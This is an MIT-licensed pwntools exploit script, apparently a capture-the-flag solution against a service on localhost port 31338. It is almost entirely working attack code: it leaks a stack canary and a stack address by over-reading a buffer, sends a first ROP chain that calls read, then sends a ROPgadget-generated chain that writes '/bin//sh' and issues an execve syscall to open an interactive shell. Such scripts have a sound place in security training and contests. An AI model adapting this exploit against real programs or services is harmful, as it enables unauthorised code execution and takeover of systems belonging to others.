# coding: utf-8

# MIT License
#
# Copyright (c) 2017 Pietro Ferretti, Armando Bellante, Nico Mkhatvari
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

from pwn import *

read = 0x440300
pop_rdi = 0x4005d5
pop_rsi = 0x4017f7
pop_rdx = 0x443776

p = remote('localhost', 31338)


# leak canary
p.send('A' * 25)
p.recv(25)    # consume the 'A's
leak = p.recv(7)
canary = '\x00' + leak
print canary.encode('hex')


# leak stack
stack_leak = ''
offset = 24 + 5*8
for i in range(8):
    p.clean()    # remove last line break if any
    p.send('A' * (offset + i))
    p.recv(offset + i)    # consume the 'A's
    leak = p.recv(1)
    if leak == '\n':
        stack_leak += '\x00'
    else:
        stack_leak += leak
print stack_leak.encode('hex')

stack_addr = u64(stack_leak)
print 'Stack argv:', hex(stack_addr)


# ROP, first phase: call read to stack
stack_offset = -248    # offset from leak to next return address
ret_addr = stack_addr + stack_offset

payload = 'A' * 24        # buffer
payload += canary
payload += 'B' * 8        # padding ebp
payload += p64(pop_rdi)
payload += p64(0)         # stdin
payload += p64(pop_rsi)
payload += p64(ret_addr)  # return address position
payload += p64(pop_rdx)
payload += p64(10000)     # n
payload += p64(read)      # call read
p.send(payload)

p.send('exit\n')    # return to activate ROPchain


# ROP, second phase: open a shell
# ropchain generated with ROPgadget
p2 = ''
p2 += p64(0x00000000004017f7) # pop2 rsi ; ret
p2 += p64(0x00000000006cc080) # @ .data
p2 += p64(0x000000000047a6e6) # pop2 rax ; pop2 rdx ; pop2 rbx ; ret
p2 += '/bin//sh'
p2 += p64(0x4141414141414141) # padding
p2 += p64(0x4141414141414141) # padding
p2 += p64(0x0000000000475fc1) # mov qword ptr [rsi], rax ; ret
p2 += p64(0x00000000004017f7) # pop2 rsi ; ret
p2 += p64(0x00000000006cc088) # @ .data + 8
p2 += p64(0x000000000042732f) # xor rax, rax ; ret
p2 += p64(0x0000000000475fc1) # mov qword ptr [rsi], rax ; ret
p2 += p64(0x00000000004005d5) # pop2 rdi ; ret
p2 += p64(0x00000000006cc080) # @ .data
p2 += p64(0x00000000004017f7) # pop2 rsi ; ret
p2 += p64(0x00000000006cc088) # @ .data + 8
p2 += p64(0x0000000000443776) # pop2 rdx ; ret
p2 += p64(0x00000000006cc088) # @ .data + 8
p2 += p64(0x000000000042732f) # xor rax, rax ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468320) # add rax, 1 ; ret
p2 += p64(0x0000000000468e75) # syscall ; ret
p.send(p2)

p.interactive()
